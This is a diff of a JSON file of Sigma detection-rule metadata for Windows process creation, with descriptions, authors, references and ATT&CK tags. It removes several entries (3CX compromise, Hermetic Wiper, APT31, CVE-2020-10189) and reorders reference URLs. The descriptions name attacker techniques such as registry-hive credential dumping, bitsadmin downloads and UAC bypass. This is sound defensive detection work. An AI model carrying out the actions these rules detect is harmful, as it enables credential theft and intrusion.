"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_susp_usage.yml" ], "tags": [ @@ -51555,40 +50335,6 @@ "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)" }, - { - "description": "Detects execution of known compromised version of 3CXDesktopApp", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Legitimate usage of 3CXDesktopApp" - ], - "filename": "proc_creation_win_malware_3cx_compromise_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_3cx_compromise_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "related": [ - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "93bbde78-dc86-4e73-9ffc-ff8a384ca89c", - "value": "Potential Compromised 3CXDesktopApp Execution" - }, { "description": "Detects usage of cmdkey to look for cached credentials on the system", "meta": { @@ -51687,10 +50433,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" ], "tags": [ @@ -51830,38 +50576,37 @@ "value": "Suspicious File Download via CertOC.exe" }, { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "description": "Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access", "meta": { - "author": "Florian Roth (Nextron Systems), Bartlomiej Czyz (@bczyz1)", - "creation_date": "2019/03/04", + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/21", "falsepositive": [ "Unknown" ], - "filename": "proc_creation_win_apt_slingshot.yml", + "filename": "proc_creation_win_powershell_invoke_webrequest_direct_ip.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" + "https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_direct_ip.yml" ], "tags": [ - "attack.persistence", - "attack.t1053.005", - "attack.s0111" + "attack.command_and_control", + "attack.t1105" ] }, "related": [ { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", - "value": "Defrag Deactivation" + "uuid": "1edff897-9146-48d2-9066-52e8d8f80a2f", + "value": "Suspicious Invoke-WebRequest Execution With DirectIP" }, { "description": "Detects the execution of netsh with \"add helper\" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.", @@ -51876,8 +50621,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", "https://attack.mitre.org/software/S0108/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml" ], "tags": [ @@ -51912,8 +50657,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://isc.sans.edu/diary/22264", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml" ], @@ -51990,8 +50735,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20200329173843/https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", "https://www.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation/?edition=2019", + "https://web.archive.org/web/20200329173843/https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setspn_spn_enumeration.yml" ], "tags": [ @@ -52148,10 +50893,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", "https://twitter.com/nas_bench/status/1537896324837781506", - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" ], "tags": [ @@ -52171,62 +50916,6 @@ "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", "value": "Suspicious Cabinet File Execution Via Msdt.EXE" }, - { - "description": "Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)", - "meta": { - "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali", - "creation_date": "2023/01/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_other_win_server_undocumented_rce.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/hackerfantastic/status/1616455335203438592?s=20", - "https://twitter.com/YanZiShuang/status/1616777483646533632?s=20&t=TQT9tUuPbQJai4v6HtsOQw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_other_win_server_undocumented_rce.yml" - ], - "tags": "No established tags" - }, - "uuid": "6d5b8176-d87d-4402-8af4-53aee9db7b5d", - "value": "Potential Exploitation Attempt Of Undocumented WindowsServer RCE" - }, - { - "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_hermetic_wiper_activity.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_hermetic_wiper_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "related": [ - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", - "value": "Hermetic Wiper TG Process Patterns" - }, { "description": "Detects command line parameters used by Hydra password guessing hack tool", "meta": { @@ -52343,8 +51032,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml" ], "tags": [ @@ -52377,10 +51066,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml" ], "tags": [ @@ -52516,49 +51205,6 @@ "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", "value": "Security Privileges Enumeration Via Whoami.EXE" }, - { - "description": "Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/02/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_apt31_judgement_panda.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt31_judgement_panda.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.credential_access", - "attack.g0128", - "attack.t1003.001", - "attack.t1560.001" - ] - }, - "related": [ - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", - "value": "APT31 Judgement Panda Activity" - }, { "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", "meta": { @@ -52605,9 +51251,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/1196390321783025666", "https://twitter.com/oulusoyum/status/1191329746069655553", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" ], "tags": [ @@ -52684,9 +51330,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", - "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" ], "tags": [ @@ -52744,9 +51390,9 @@ "logsource.product": "windows", "refs": [ "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution.yml" ], "tags": "No established tags" @@ -52767,9 +51413,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://adsecurity.org/?p=2604", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml" ], @@ -52826,8 +51472,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml" ], "tags": [ @@ -52910,8 +51556,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", + "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_http_appdata.yml" ], "tags": [ @@ -52961,8 +51607,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml" ], "tags": [ @@ -53029,8 +51675,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml" ], "tags": [ @@ -53053,9 +51699,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_cmd.yml" ], "tags": [ @@ -53188,8 +51834,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.radmin.fr/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", + "https://www.radmin.fr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_radmin.yml" ], "tags": [ @@ -53279,47 +51925,6 @@ "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", "value": "Browser Started with Remote Debugging" }, - { - "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/02/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001", - "attack.t1003.003" - ] - }, - "related": [ - { - "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", - "value": "Potential Russian APT Credential Theft Activity" - }, { "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", "meta": { @@ -53333,8 +51938,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1474899714290208777?s=12", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", + "https://twitter.com/0gtweet/status/1474899714290208777?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump.yml" ], "tags": "No established tags" @@ -53388,8 +51993,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/blackorbird/status/1140519090961825792", "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", + "https://twitter.com/blackorbird/status/1140519090961825792", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" ], "tags": [ @@ -53409,59 +52014,6 @@ "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", "value": "Suspicious Double Extension File Execution" }, - { - "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/03/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2020_10189.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.s0190", - "cve.2020.10189" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", - "value": "Exploited CVE-2020-10189 Zoho ManageEngine" - }, { "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", "meta": { @@ -53475,10 +52027,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", - "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", + "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", + "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml" ], "tags": [ @@ -53498,47 +52050,6 @@ "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", "value": "Suspicious Rundll32 Setupapi.dll Activity" }, - { - "description": "Attempts to detect system changes made by Blue Mockingbird", - "meta": { - "author": "Trent Liffick (@tliffick)", - "creation_date": "2020/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_blue_mockingbird.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_blue_mockingbird.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112", - "attack.t1047" - ] - }, - "related": [ - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", - "value": "Blue Mockingbird" - }, { "description": "Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks", "meta": { @@ -53983,57 +52494,6 @@ "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" }, - { - "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2017_8759.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "related": [ - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", - "value": "Exploit for CVE-2017-8759" - }, { "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", "meta": { @@ -54114,8 +52574,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://twitter.com/bopin2020/status/1366400799199272960", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml" ], "tags": [ @@ -54256,8 +52716,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr.yml" ], "tags": [ @@ -54313,41 +52773,6 @@ "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", "value": "Renamed MegaSync Execution" }, - { - "description": "Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant", - "meta": { - "author": "Florian Roth (Nextron Systems), @41thexplorer", - "creation_date": "2018/11/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_apt29_phishing_campaign_indicators.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://www.mandiant.com/resources/blog/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_phishing_campaign_indicators.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7453575c-a747-40b9-839b-125a0aae324b", - "value": "APT29 2018 Phishing Campaign CommandLine Indicators" - }, { "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", "meta": { @@ -54363,8 +52788,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", + "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" ], "tags": [ @@ -54397,8 +52822,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml" ], "tags": [ @@ -54501,9 +52926,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.php.net/manual/en/features.commandline.php", "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.php.net/manual/en/features.commandline.php", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml" ], "tags": [ @@ -54594,10 +53019,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f", - "https://twitter.com/mrd0x/status/1511415432888131586", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", "https://twitter.com/mrd0x/status/1511489821247684615", + "https://twitter.com/mrd0x/status/1511415432888131586", + "https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml" ], "tags": [ @@ -54705,11 +53130,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", 